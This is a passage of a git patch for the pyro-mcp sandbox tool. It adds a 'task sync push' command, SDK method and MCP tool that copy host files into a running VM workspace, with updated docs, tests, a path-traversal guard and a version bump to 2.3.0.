"./changes", dest="src") + result = pyro.exec_task(task_id, command="cat src/note.txt") print(result["stdout"], end="") finally: pyro.delete_task(task_id) @@ -381,6 +384,7 @@ Advanced lifecycle tools: Persistent workspace tools: - `task_create(environment, vcpu_count=1, mem_mib=1024, ttl_seconds=600, network=false, allow_host_compat=false, source_path=null)` +- `task_sync_push(task_id, source_path, dest="/workspace")` - `task_exec(task_id, command, timeout_seconds=30)` - `task_status(task_id)` - `task_logs(task_id)` diff --git a/docs/first-run.md b/docs/first-run.md index 8a09b35..3a382b3 100644 --- a/docs/first-run.md +++ b/docs/first-run.md @@ -22,7 +22,7 @@ Networking: tun=yes ip_forward=yes ```bash $ uvx --from pyro-mcp pyro env list -Catalog version: 2.2.0 +Catalog version: 2.3.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -71,6 +71,7 @@ deterministic structured result. ```bash $ uvx --from pyro-mcp pyro demo $ uvx --from pyro-mcp pyro task create debian:12 --source-path ./repo +$ uvx --from pyro-mcp pyro task sync push TASK_ID ./changes $ uvx --from pyro-mcp pyro mcp serve ``` @@ -89,16 +90,18 @@ Execution mode: guest_vsock Resources: 1 vCPU / 1024 MiB Command count: 0 -$ uvx --from pyro-mcp pyro task exec TASK_ID -- sh -lc 'printf "hello from task\n" > note.txt' -[task-exec] task_id=... sequence=1 cwd=/workspace execution_mode=guest_vsock exit_code=0 duration_ms=... +$ uvx --from pyro-mcp pyro task sync push TASK_ID ./changes --dest src +[task-sync] task_id=... mode=directory source=... destination=/workspace/src entry_count=... bytes_written=... execution_mode=guest_vsock -$ uvx --from pyro-mcp pyro task exec TASK_ID -- cat note.txt -hello from task -[task-exec] task_id=... sequence=2 cwd=/workspace execution_mode=guest_vsock exit_code=0 duration_ms=... +$ uvx --from pyro-mcp pyro task exec TASK_ID -- cat src/note.txt +hello from synced task +[task-exec] task_id=... sequence=1 cwd=/workspace execution_mode=guest_vsock exit_code=0 duration_ms=... ``` Use `--source-path` when the task should start from a host directory or a local -`.tar` / `.tar.gz` / `.tgz` archive instead of an empty `/workspace`. +`.tar` / `.tar.gz` / `.tgz` archive instead of an empty `/workspace`. Use +`pyro task sync push` when you need to import later host-side changes into a started task. +Sync is non-atomic in `2.3.0`; if it fails partway through, delete and recreate the task. Example output: diff --git a/docs/install.md b/docs/install.md index 9e234be..62ae490 100644 --- a/docs/install.md +++ b/docs/install.md @@ -83,7 +83,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 2.2.0 +Catalog version: 2.3.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -175,6 +175,7 @@ pyro run debian:12 -- git --version After the CLI path works, you can move on to: - persistent workspaces: `pyro task create debian:12 --source-path ./repo` +- live task updates: `pyro task sync push TASK_ID ./changes` - MCP: `pyro mcp serve` - Python SDK: `from pyro_mcp import Pyro` - Demos: `pyro demo` or `pyro demo --network` @@ -185,8 +186,8 @@ Use `pyro task ...` when you need repeated commands in one sandbox instead of on ```bash pyro task create debian:12 --source-path ./repo -pyro task exec TASK_ID -- sh -lc 'printf "hello from task\n" > note.txt' -pyro task exec TASK_ID -- cat note.txt +pyro task sync push TASK_ID ./changes --dest src +pyro task exec TASK_ID -- cat src/note.txt pyro task logs TASK_ID pyro task delete TASK_ID ``` @@ -194,6 +195,8 @@ pyro task delete TASK_ID Task commands default to the persistent `/workspace` directory inside the guest. If you need the task identifier programmatically, use `--json` and read the `task_id` field. Use `--source-path` when the task should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive. +Use `pyro task sync push` for later host-side changes to a started task. Sync is non-atomic in +`2.3.0`; if it fails partway through, delete and recreate the task from its seed. ## Contributor Clone diff --git a/docs/integrations.md b/docs/integrations.md index 9401071..9c23ecf 100644 --- a/docs/integrations.md +++ b/docs/integrations.md @@ -30,7 +30,7 @@ Best when: Recommended surface: - `vm_run` -- `task_create(source_path=...)` + `task_exec` when the agent needs persistent workspace state +- `task_create(source_path=...)` + `task_sync_push` + `task_exec` when the agent needs persistent workspace state Canonical example: @@ -65,7 +65,7 @@ Best when: Recommended default: - `Pyro.run_in_vm(...)` -- `Pyro.create_task(source_path=...)` + `Pyro.exec_task(...)` when repeated workspace commands are required +- `Pyro.create_task(source_path=...)` + `Pyro.push_task_sync(...)` + `Pyro.exec_task(...)` when repeated workspace commands are required Lifecycle note: @@ -74,6 +74,8 @@ Lifecycle note: that final exec - use `create_task(source_path=...)` when the agent needs repeated commands in one persistent `/workspace` that starts from host content +- use `push_task_sync(...)` when later host-side changes need to be imported into that running + workspace without recreating the task Examples: diff --git a/docs/public-contract.md b/docs/public-contract.md index 2f505f6..872abea 100644 --- a/docs/public-contract.md +++ b/docs/public-contract.md @@ -20,6 +20,7 @@ Top-level commands: - `pyro mcp serve` - `pyro run` - `pyro task create` +- `pyro task sync push` - `pyro task exec` - `pyro task status` - `pyro task logs` @@ -48,6 +49,8 @@ Behavioral guarantees: - `pyro task create` auto-starts a persistent workspace. - `pyro task create --source-path PATH` seeds `/workspace` from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive before the task is returned. +- `pyro task sync push TASK_ID SOURCE_PATH [--dest WORKSPACE_PATH]` imports later host-side + directory or archive content into a started task workspace. - `pyro task exec` runs in the persistent `/workspace` for that task and does not auto-clean. - `pyro task logs` returns persisted command history for that task until `pyro task delete`. - Task create/status results expose `workspace_seed` metadata describing how `/workspace` was @@ -69,6 +72,7 @@ Supported public entrypoints: - `Pyro.prune_environments()` - `Pyro.create_vm(...)` - `Pyro.create_task(...)` +- `Pyro.push_task_sync(task_id, source_path, *, dest="/workspace")` - `Pyro.start_vm(vm_id)` - `Pyro.exec_vm(vm_id, *, command, timeout_seconds=30)` - `Pyro.exec_task(task_id, *, command, timeout_seconds=30)` @@ -91,6 +95,7 @@ Stable public method names: - `prune_environments()` - `create_vm(...)` - `create_task(...)` +- `push_task_sync(task_id, source_path, *, dest="/workspace")` - `start_vm(vm_id)` - `exec_vm(vm_id, *, command, timeout_seconds=30)` - `exec_task(task_id, *, command, timeout_seconds=30)` @@ -112,6 +117,8 @@ Behavioral defaults: - `allow_host_compat` defaults to `False` on `create_task(...)`. - `Pyro.create_task(..., source_path=...)` seeds `/workspace` from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive before the task is returned. +- `Pyro.push_task_sync(...)` imports later host-side directory or archive content into a started + task workspace. - `Pyro.exec_vm(...)` runs one command and auto-cleans that VM after the exec completes. - `Pyro.exec_task(...)` runs one command in the persistent task workspace and leaves the task alive. @@ -136,6 +143,7 @@ Advanced lifecycle tools: Task workspace tools: - `task_create` +- `task_sync_push` - `task_exec` - `task_status` - `task_logs` @@ -149,6 +157,8 @@ Behavioral defaults: - `task_create` exposes `allow_host_compat`, which defaults to `false`. - `task_create` accepts optional `source_path` and seeds `/workspace` from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive before the task is returned. +- `task_sync_push` imports later host-side directory or archive content into a started task + workspace, with an optional `dest` under `/workspace`. - `vm_exec` runs one command and auto-cleans that VM after the exec completes. - `task_exec` runs one command in a persistent `/workspace` and leaves the task alive. diff --git a/examples/python_task.py b/examples/python_task.py index c1c7b98..421d16c 100644 --- a/examples/python_task.py +++ b/examples/python_task.py @@ -1,20 +1,29 @@ from __future__ import annotations +import tempfile +from pathlib import Path + from pyro_mcp import Pyro def main() -> None: pyro = Pyro() - created = pyro.create_task(environment="debian:12") - task_id = str(created["task_id"]) - try: - pyro.exec_task(task_id, command="printf 'hello from task\\n' > note.txt") - result = pyro.exec_task(task_id, command="cat note.txt") - print(result["stdout"], end="") - logs = pyro.logs_task(task_id) - print(f"task_id={task_id} command_count={logs['count']}") - finally: - pyro.delete_task(task_id) + with ( + tempfile.TemporaryDirectory(prefix="pyro-task-seed-") as seed_dir, + tempfile.TemporaryDirectory(prefix="pyro-task-sync-") as sync_dir, + ): + Path(seed_dir, "note.txt").write_text("hello from seed\n", encoding="utf-8") + Path(sync_dir, "note.txt").write_text("hello from sync\n", encoding="utf-8") + created = pyro.create_task(environment="debian:12", source_path=seed_dir) + task_id = str(created["task_id"]) + try: + pyro.push_task_sync(task_id, sync_dir) + result = pyro.exec_task(task_id, command="cat note.txt") + print(result["stdout"], end="") + logs = pyro.logs_task(task_id) + print(f"task_id={task_id} command_count={logs['count']}") + finally: + pyro.delete_task(task_id) if __name__ == "__main__": diff --git a/pyproject.toml b/pyproject.toml index f3118c1..bf779b2 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "pyro-mcp" -version = "2.2.0" +version = "2.3.0" description = "Curated Linux environments for ephemeral Firecracker-backed VM execution." readme = "README.md" license = { file = "LICENSE" } diff --git a/src/pyro_mcp/api.py b/src/pyro_mcp/api.py index 196e814..18d2ff3 100644 --- a/src/pyro_mcp/api.py +++ b/src/pyro_mcp/api.py @@ -110,6 +110,15 @@ class Pyro: def status_task(self, task_id: str) -> dict[str, Any]: return self._manager.status_task(task_id) + def push_task_sync( + self, + task_id: str, + source_path: str | Path, + *, + dest: str = "/workspace", + ) -> dict[str, Any]: + return self._manager.push_task_sync(task_id, source_path=source_path, dest=dest) + def logs_task(self, task_id: str) -> dict[str, Any]: return self._manager.logs_task(task_id) @@ -269,6 +278,15 @@ class Pyro: """Run one command inside an existing task workspace.""" return self.exec_task(task_id, command=command, timeout_seconds=timeout_seconds) + @server.tool() + async def task_sync_push( + task_id: str, + source_path: str, + dest: str = "/workspace", + ) -> dict[str, Any]: + """Push host content into the persistent workspace of a started task.""" + return self.push_task_sync(task_id, source_path=source_path, dest=dest) + @server.tool() async def task_status(task_id: str) -> dict[str, Any]: """Inspect task state and latest command metadata.""" diff --git a/src/pyro_mcp/cli.py b/src/pyro_mcp/cli.py index 90aad34..a58af1c 100644 --- a/src/pyro_mcp/cli.py +++ b/src/pyro_mcp/cli.py @@ -197,6 +197,23 @@ def _print_task_exec_human(payload: dict[str, Any]) -> None: ) +def _print_task_sync_human(payload: dict[str, Any]) -> None: + workspace_sync = payload.get("workspace_sync") + if not isinstance(workspace_sync, dict): + print(f"Synced task: {str(payload.get('task_id', 'unknown'))}") + return + print( + "[task-sync] " + f"task_id={str(payload.get('task_id', 'unknown'))} " + f"mode={str(workspace_sync.get('mode', 'unknown'))} " + f"source={str(workspace_sync.get('source_path', 'unknown'))} " + f"destination={str(workspace_sync.get('destination', TASK_WORKSPACE_GUEST_PATH))} " + f"entry_count={int(workspace_sync.get('entry_count', 0))} " + f"bytes_written={int(workspace_sync.get('bytes_written', 0))} " + f"execution_mode={str(payload.get('execution_mode', 'unknown'))}" + ) + + def _print_task_logs_human(payload: dict[str, Any]) -> None: entries = payload.get("entries") if not isinstance(entries, list) or not entries: @@ -250,7 +267,8 @@ def _build_parser() -> argparse.ArgumentParser: pyro run debian:12 -- git --version Need repeated commands in one workspace after that? - pyro task create debian:12 + pyro task create debian:12 --source-path ./repo + pyro task sync push TASK_ID ./changes Use `pyro mcp serve` only after the CLI validation path works. """ @@ -456,6 +474,7 @@ def _build_parser() -> argparse.ArgumentParser: """ Examples: pyro task create debian:12 --source-path ./repo + pyro task sync push TASK_ID ./repo --dest src pyro task exec TASK_ID -- sh -lc 'printf "hello\\n" > note.txt' pyro task logs TASK_ID """ @@ -472,6 +491,7 @@ def _build_parser() -> argparse.ArgumentParser: Examples: pyro task create debian:12 pyro task create debian:12 --source-path ./repo + pyro task sync push TASK_ID ./changes """ ), formatter_class=_HelpFormatter, @@ -552,6 +572,56 @@ def _build_parser() -> argparse.ArgumentParser: "for example `pyro task exec TASK_ID -- cat note.txt`." ), ) + task_sync_parser = task_subparsers.add_parser( + "sync", + help="Push host content into a started task workspace.", + description=( + "Push host directory or archive content into `/workspace` for an existing " + "started task." + ), + epilog=dedent( + """ + Examples: + pyro task sync push TASK_ID ./repo + pyro task sync push TASK_ID ./patches --dest src + + Sync is non-atomic. If a sync fails partway through, delete and recreate the task. + """ + ), + formatter_class=_HelpFormatter, + ) + task_sync_subparsers = task_sync_parser.add_subparsers( + dest="task_sync_command", + required=True, + metavar="SYNC", + ) + task_sync_push_parser = task_sync_subparsers.add_parser( + "push", + help="Push one host directory or archive into a started task.", + description="Import host content into `/workspace` or a subdirectory of it.", + epilog="Example:\n pyro task sync push TASK_ID ./repo --dest src", + formatter_class=_HelpFormatter, + ) + task_sync_push_parser.add_argument( + "task_id", + metavar="TASK_ID", + help="Persistent task identifier.", + ) + task_sync_push_parser.add_argument( + "source_path", + metavar="SOURCE_PATH", + help="Host directory or .tar/.tar.gz/.tgz archive to push into the task workspace.", + ) + task_sync_push_parser.add_argument( + "--dest", + default=TASK_WORKSPACE_GUEST_PATH, + help="Workspace destination path. Relative values resolve inside `/workspace`.", + ) + task_sync_push_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) task_status_parser = task_subparsers.add_parser( "status", help="Inspect one task workspace.", @@ -821,6 +891,30 @@ def main() -> None: if exit_code != 0: raise SystemExit(exit_code) return + if args.task_command == "sync" and args.task_sync_command == "push": + if bool(args.json): + try: + payload = pyro.push_task_sync( + args.task_id, + args.source_path, + dest=args.dest, + ) + except Exception as exc: # noqa: BLE001 + _print_json({"ok": False, "error": str(exc)}) + raise SystemExit(1) from exc + _print_json(payload) + else: + try: + payload = pyro.push_task_sync( + args.task_id, + args.source_path, + dest=args.dest, + ) + except Exception as exc: # noqa: BLE001 + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + _print_task_sync_human(payload) + return if args.task_command == "status": payload = pyro.status_task(args.task_id) if bool(args.json): diff --git a/src/pyro_mcp/contract.py b/src/pyro_mcp/contract.py index f582609..971c7d7 100644 --- a/src/pyro_mcp/contract.py +++ b/src/pyro_mcp/contract.py @@ -5,7 +5,8 @@ from __future__ import annotations PUBLIC_CLI_COMMANDS = ("demo", "doctor", "env", "mcp", "run", "task") PUBLIC_CLI_DEMO_SUBCOMMANDS = ("ollama",) PUBLIC_CLI_ENV_SUBCOMMANDS = ("inspect", "list", "pull", "prune") -PUBLIC_CLI_TASK_SUBCOMMANDS = ("create", "delete", "exec", "logs", "status") +PUBLIC_CLI_TASK_SUBCOMMANDS = ("create", "delete", "exec", "logs", "status", "sync") +PUBLIC_CLI_TASK_SYNC_SUBCOMMANDS = ("push",) PUBLIC_CLI_TASK_CREATE_FLAGS = ( "--vcpu-count", "--mem-mib", @@ -15,6 +16,7 @@ PUBLIC_CLI_TASK_CREATE_FLAGS = ( "--source-path", "--json", ) +PUBLIC_CLI_TASK_SYNC_PUSH_FLAGS = ("--dest", "--json") PUBLIC_CLI_RUN_FLAGS = ( "--vcpu-count", "--mem-mib", @@ -39,6 +41,7 @@ PUBLIC_SDK_METHODS = ( "network_info_vm", "prune_environments", "pull_environment", + "push_task_sync", "reap_expired", "run_in_vm", "start_vm", @@ -63,4 +66,5 @@ PUBLIC_MCP_TOOLS = ( "task_exec", "task_logs", "task_status", + "task_sync_push", ) diff --git a/src/pyro_mcp/vm_environments.py b/src/pyro_mcp/vm_environments.py index 8f7cc21..12619c1 100644 --- a/src/pyro_mcp/vm_environments.py +++ b/src/pyro_mcp/vm_environments.py @@ -19,7 +19,7 @@ from typing import Any from pyro_mcp.runtime import DEFAULT_PLATFORM, RuntimePaths DEFAULT_ENVIRONMENT_VERSION = "1.0.0" -DEFAULT_CATALOG_VERSION = "2.2.0" +DEFAULT_CATALOG_VERSION = "2.3.0" OCI_MANIFEST_ACCEPT = ", ".join( ( "application/vnd.oci.image.index.v1+json", diff --git a/src/pyro_mcp/vm_manager.py b/src/pyro_mcp/vm_manager.py index 398951a..9d5ca3a 100644 --- a/src/pyro_mcp/vm_manager.py +++ b/src/pyro_mcp/vm_manager.py @@ -194,11 +194,11 @@ class PreparedWorkspaceSeed: bytes_written: int = 0 cleanup_dir: Path | None = None - def to_payload(self) -> dict[str, Any]: + def to_payload(self, *, destination: str = TASK_WORKSPACE_GUEST_PATH) -> dict[str, Any]: return { "mode": self.mode, "source_path": self.source_path, - "destination": TASK_WORKSPACE_GUEST_PATH, + "destination": destination, "entry_count": self.entry_count, "bytes_written": self.bytes_written, } @@ -372,6 +372,8 @@ def _normalize_workspace_destination(destination: str) -> tuple[str, PurePosixPa if candidate == "": raise ValueError("workspace destination must not be empty") destination_path = PurePosixPath(candidate) + if any(part == ".." for part in destination_path.parts): + raise ValueError("workspace destination must stay inside /workspace") workspace_root = PurePosixPath(TASK_WORKSPACE_GUEST_PATH) if not destination_path.is_absolute(): destination_path = workspace_root / destination_path @@ -1218,6 +1220,52 @@ class VmManager: finally: prepared_seed.cleanup() + def push_task_sync( + self, + task_id: str, + *, + source_path: str | Path, + dest: str = TASK_WORKSPACE_GUEST_PATH, + ) -> dict[str, Any]: + prepared_seed = self._prepare_workspace_seed(source_path) + if prepared_seed.archive_path is None: + prepared_seed.cleanup() + raise ValueError("source_path is required") + normalized_destination, _ = _normalize_workspace_destination(dest) + with self._lock: + task = self._load_task_locked(task_id) + self._ensure_task_not_expired_locked(task, time.time()) + self._refresh_task_liveness_locked(task) + if task.state != "started": + raise RuntimeError( + f"task {task_id} must be in 'started' state before task_sync_push" + ) + instance = task.to_instance(workdir=self._task_runtime_dir(task.task_id)) + try: + import_summary = self._backend.import_archive( + instance, + archive_path=prepared_seed.archive_path, + destination=normalized_destination, + ) + finally: + prepared_seed.cleanup() + workspace_sync = prepared_seed.to_payload(destination=normalized_destination) + workspace_sync["entry_count"] = int(import_summary["entry_count"]) + workspace_sync["bytes_written"] = int(import_summary["bytes_written"]) + workspace_sync["destination"] = str(import_summary["destination"]) + with self._lock: + task = self._load_task_locked(task_id) + task.state = instance.state + task.firecracker_pid = instance.firecracker_pid + task.last_error = instance.last_error + task.metadata = dict(instance.metadata) + self._save_task_locked(task) + return { + "task_id": task_id, + "execution_mode": instance.metadata.get("execution_mode", "pending"), + "workspace_sync": workspace_sync, + } + def exec_task(self, task_id: str, *, command: str, timeout_seconds: int = 30) -> dict[str, Any]: if timeout_seconds <= 0: raise ValueError("timeout_seconds must be positive") diff --git a/tests/test_api.py b/tests/test_api.py index ca0b2b1..e5f86bf 100644 --- a/tests/test_api.py +++ b/tests/test_api.py @@ -49,6 +49,7 @@ def test_pyro_create_server_registers_vm_run(tmp_path: Path) -> None: assert "vm_run" in tool_names assert "vm_create" in tool_names assert "task_create" in tool_names + assert "task_sync_push" in tool_names def test_pyro_vm_run_tool_executes(tmp_path: Path) -> None: @@ -124,6 +125,10 @@ def test_pyro_task_methods_delegate_to_manager(tmp_path: Path) -> None: source_path=source_dir, ) task_id = str(created["task_id"]) + updated_dir = tmp_path / "updated" + updated_dir.mkdir() + (updated_dir / "more.txt").write_text("more\n", encoding="utf-8") + synced = pyro.push_task_sync(task_id, updated_dir, dest="subdir") executed = pyro.exec_task(task_id, command="cat note.txt") status = pyro.status_task(task_id) logs = pyro.logs_task(task_id) @@ -131,6 +136,7 @@ def test_pyro_task_methods_delegate_to_manager(tmp_path: Path) -> None: assert executed["stdout"] == "ok\n" assert created["workspace_seed"]["mode"] == "directory" + assert synced["workspace_sync"]["destination"] == "/workspace/subdir" assert status["command_count"] == 1 assert logs["count"] == 1 assert deleted["deleted"] is True diff --git a/tests/test_cli.py b/tests/test_cli.py index 180fbb4..549d113 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -30,6 +30,7 @@ def test_cli_help_guides_first_run() -> None: assert "pyro env list" in help_text assert "pyro env pull debian:12" in help_text assert "pyro run debian:12 -- git --version" in help_text + assert "pyro task sync push TASK_ID ./changes" in help_text assert "Use `pyro mcp serve` only after the CLI validation path works." in help_text @@ -61,6 +62,7 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: task_help = _subparser_choice(parser, "task").format_help() assert "pyro task create debian:12 --source-path ./repo" in task_help + assert "pyro task sync push TASK_ID ./repo --dest src" in task_help assert "pyro task exec TASK_ID" in task_help task_create_help = _subparser_choice(_subparser_choice(parser, "task"), "create").format_help() @@ -71,6 +73,16 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: assert "persistent `/workspace`" in task_exec_help assert "pyro task exec TASK_ID -- cat note.txt" in task_exec_help + task_sync_help = _subparser_choice(_subparser_choice(parser, "task"), "sync").format_help() + assert "Sync is non-atomic." in task_sync_help + assert "pyro task sync push TASK_ID ./repo" in task_sync_help + + task_sync_push_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "task"), "sync"), "push" + ).format_help() + assert "--dest" in task_sync_push_help + assert "Import host content into `/workspace`" in task_sync_push_help + def test_cli_run_prints_json( monkeypatch: pytest.MonkeyPatch, @@ -456,6 +468,89 @@ def test_cli_task_exec_prints_human_output( assert "[task-exec] task_id=task-123 sequence=2 cwd=/workspace" in captured.err +def test_cli_task_sync_push_prints_json( + monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] +) -> None: + class StubPyro: + def push_task_sync(self, task_id: str, source_path: str, *, dest: str) -> dict[str, Any]: + assert task_id == "task-123" + assert source_path == "./repo" + assert dest == "src" + return { + "task_id": task_id, + "execution_mode": "guest_vsock", + "workspace_sync": { + "mode": "directory", + "source_path": "/tmp/repo", + "destination": "/workspace/src", + "entry_count": 2, + "bytes_written": 12, + }, + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="task", + task_command="sync", + task_sync_command="push", + task_id="task-123", + source_path="./repo", + dest="src", + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = json.loads(capsys.readouterr().out) + assert output["workspace_sync"]["destination"] == "/workspace/src" + + +def test_cli_task_sync_push_prints_human( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def push_task_sync(self, task_id: str, source_path: str, *, dest: str) -> dict[str, Any]: + assert task_id == "task-123" + assert source_path == "./repo" + assert dest == "/workspace" + return { + "task_id": task_id, + "execution_mode": "guest_vsock", + "workspace_sync": { + "mode": "directory", + "source_path": "/tmp/repo", + "destination": "/workspace", + "entry_count": 2, + "bytes_written": 12, + }, + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="task", + task_command="sync", + task_sync_command="push", + task_id="task-123", + source_path="./repo", + dest="/workspace", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = capsys.readouterr().out + assert "[task-sync] task_id=task-123 mode=directory source=/tmp/repo" in output + assert ( + "destination=/workspace entry_count=2 bytes_written=12 " + "execution_mode=guest_vsock" + ) in output + + def test_cli_task_logs_and_delete_print_human( monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str], diff --git a/tests/test_public_contract.py b/tests/test_public_contract.py index 5f052f0..0a71662 100644 --- a/tests/test_public_contract.py +++ b/tests/test_public_contract.py @@ -19,6 +19,8 @@ from pyro_mcp.contract import ( PUBLIC_CLI_RUN_FLAGS, PUBLIC_CLI_TASK_CREATE_FLAGS, PUBLIC_CLI_TASK_SUBCOMMANDS, + PUBLIC_CLI_TASK_SYNC_PUSH_FLAGS, + PUBLIC_CLI_TASK_SYNC_SUBCOMMANDS, PUBLIC_MCP_TOOLS, PUBLIC_SDK_METHODS, ) @@ -73,6 +75,14 @@ def test_public_cli_help_lists_commands_and_run_flags() -> None: ).format_help() for flag in PUBLIC_CLI_TASK_CREATE_FLAGS: assert flag in task_create_help_text + task_sync_help_text = _subparser_choice(_subparser_choice(parser, "task"), "sync").format_help() + for subcommand_name in PUBLIC_CLI_TASK_SYNC_SUBCOMMANDS: + assert subcommand_name in task_sync_help_text + task_sync_push_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "task"), "sync"), "push" + ).format_help() + for flag in PUBLIC_CLI_TASK_SYNC_PUSH_FLAGS: + assert flag in task_sync_push_help_text demo_help_text = _subparser_choice(parser, "demo").format_help() for subcommand_name in PUBLIC_CLI_DEMO_SUBCOMMANDS: diff --git a/tests/test_server.py b/tests/test_server.py index 7ddfb60..0f6d19c 100644 --- a/tests/test_server.py +++ b/tests/test_server.py @@ -33,6 +33,7 @@ def test_create_server_registers_vm_tools(tmp_path: Path) -> None: assert "vm_status" in tool_names assert "task_create" in tool_names assert "task_logs" in tool_names + assert "task_sync_push" in tool_names def test_vm_run_round_trip(tmp_path: Path) -> None: @@ -183,7 +184,13 @@ def test_task_tools_round_trip(tmp_path: Path) -> None: raise TypeError("expected structured dictionary result") return cast(dict[str, Any], structured) - async def _run() -> tuple[dict[str, Any], dict[str, Any], dict[str, Any], dict[str, Any]]: + async def _run() -> tuple[ + dict[str, Any], + dict[str, Any], + dict[str, Any], + dict[str, Any], + dict[str, Any], + ]: server = create_server(manager=manager) created = _extract_structured( await server.call_tool( @@ -196,22 +203,36 @@ def test_task_tools_round_trip(tmp_path: Path) -> None: ) ) task_id = str(created["task_id"]) + update_dir = tmp_path / "update" + update_dir.mkdir() + (update_dir / "more.txt").write_text("more\n", encoding="utf-8") + synced = _extract_structured( + await server.call_tool( + "task_sync_push", + { + "task_id": task_id, + "source_path": str(update_dir), + "dest": "subdir", + }, + ) + ) executed = _extract_structured( await server.call_tool( "task_exec", { "task_id": task_id, - "command": "cat note.txt", + "command": "cat subdir/more.txt", }, ) ) logs = _extract_structured(await server.call_tool("task_logs", {"task_id": task_id})) deleted = _extract_structured(await server.call_tool("task_delete", {"task_id": task_id})) - return created, executed, logs, deleted + return created, synced, executed, logs, deleted - created, executed, logs, deleted = asyncio.run(_run()) + created, synced, executed, logs, deleted = asyncio.run(_run()) assert created["state"] == "started" assert created["workspace_seed"]["mode"] == "directory" - assert executed["stdout"] == "ok\n" + assert synced["workspace_sync"]["destination"] == "/workspace/subdir" + assert executed["stdout"] == "more\n" assert logs["count"] == 1 assert deleted["deleted"] is True diff --git a/tests/test_vm_manager.py b/tests/test_vm_manager.py index 9810631..1b5b562 100644 --- a/tests/test_vm_manager.py +++ b/tests/test_vm_manager.py @@ -363,6 +363,90 @@ def test_task_create_seeds_tar_archive_into_workspace(tmp_path: Path) -> None: assert executed["stdout"] == "archive\n" +def test_task_sync_push_updates_started_workspace(tmp_path: Path) -> None: + source_dir = tmp_path / "seed" + source_dir.mkdir() + (source_dir / "note.txt").write_text("hello\n", encoding="utf-8") + update_dir = tmp_path / "update" + update_dir.mkdir() + (update_dir / "more.txt").write_text("more\n", encoding="utf-8") + + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + created = manager.create_task( + environment="debian:12-base", + allow_host_compat=True, + source_path=source_dir, + ) + task_id = str(created["task_id"]) + synced = manager.push_task_sync(task_id, source_path=update_dir, dest="subdir") + + assert synced["workspace_sync"]["mode"] == "directory" + assert synced["workspace_sync"]["destination"] == "/workspace/subdir" + + executed = manager.exec_task(task_id, command="cat subdir/more.txt", timeout_seconds=30) + assert executed["stdout"] == "more\n" + + status = manager.status_task(task_id) + assert status["command_count"] == 1 + assert status["workspace_seed"]["mode"] == "directory" + + +def test_task_sync_push_requires_started_task(tmp_path: Path) -> None: + source_dir = tmp_path / "seed" + source_dir.mkdir() + (source_dir / "note.txt").write_text("hello\n", encoding="utf-8") + update_dir = tmp_path / "update" + update_dir.mkdir() + (update_dir / "more.txt").write_text("more\n", encoding="utf-8") + + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + created = manager.create_task( + environment="debian:12-base", + allow_host_compat=True, + source_path=source_dir, + ) + task_id = str(created["task_id"]) + task_path = tmp_path / "vms" / "tasks" / task_id / "task.json" + payload = json.loads(task_path.read_text(encoding="utf-8")) + payload["state"] = "stopped" + task_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") + + with pytest.raises(RuntimeError, match="must be in 'started' state before task_sync_push"): + manager.push_task_sync(task_id, source_path=update_dir) + + +def test_task_sync_push_rejects_destination_outside_workspace(tmp_path: Path) -> None: + source_dir = tmp_path / "seed" + source_dir.mkdir() + (source_dir / "note.txt").write_text("hello\n", encoding="utf-8") + + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + task_id = str( + manager.create_task( + environment="debian:12-base", + allow_host_compat=True, + )["task_id"] + ) + + with pytest.raises(ValueError, match="workspace destination must stay inside /workspace"): + manager.push_task_sync(task_id, source_path=source_dir, dest="../escape") + + def test_task_create_rejects_unsafe_seed_archive(tmp_path: Path) -> None: archive_path = tmp_path / "bad.tgz" with tarfile.open(archive_path, "w:gz") as archive: diff --git a/uv.lock b/uv.lock index cda5b9c..74fea07 100644 --- a/uv.lock +++ b/uv.lock @@ -706,7 +706,7 @@ crypto = [ [[package]] name = "pyro-mcp" -version = "2.2.0" +version = "2.3.0" source = { editable = "." } dependencies = [ { name = "mcp" }, From dccc2152e3cda0ab0b7160090afe2b805b972bf7 Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Wed, 11 Mar 2026 23:54:15 -0300 Subject: [PATCH 13/49] Document the agent-workspace vision Clarify that pyro should evolve into a disposable workspace for agents instead of drifting into a secure CI or task-runner identity. Add a dedicated vision doc that captures the product thesis, anti-goals, naming guidance, and the future interaction model around workspaces, shells, services, snapshots, and reset. Link that doc 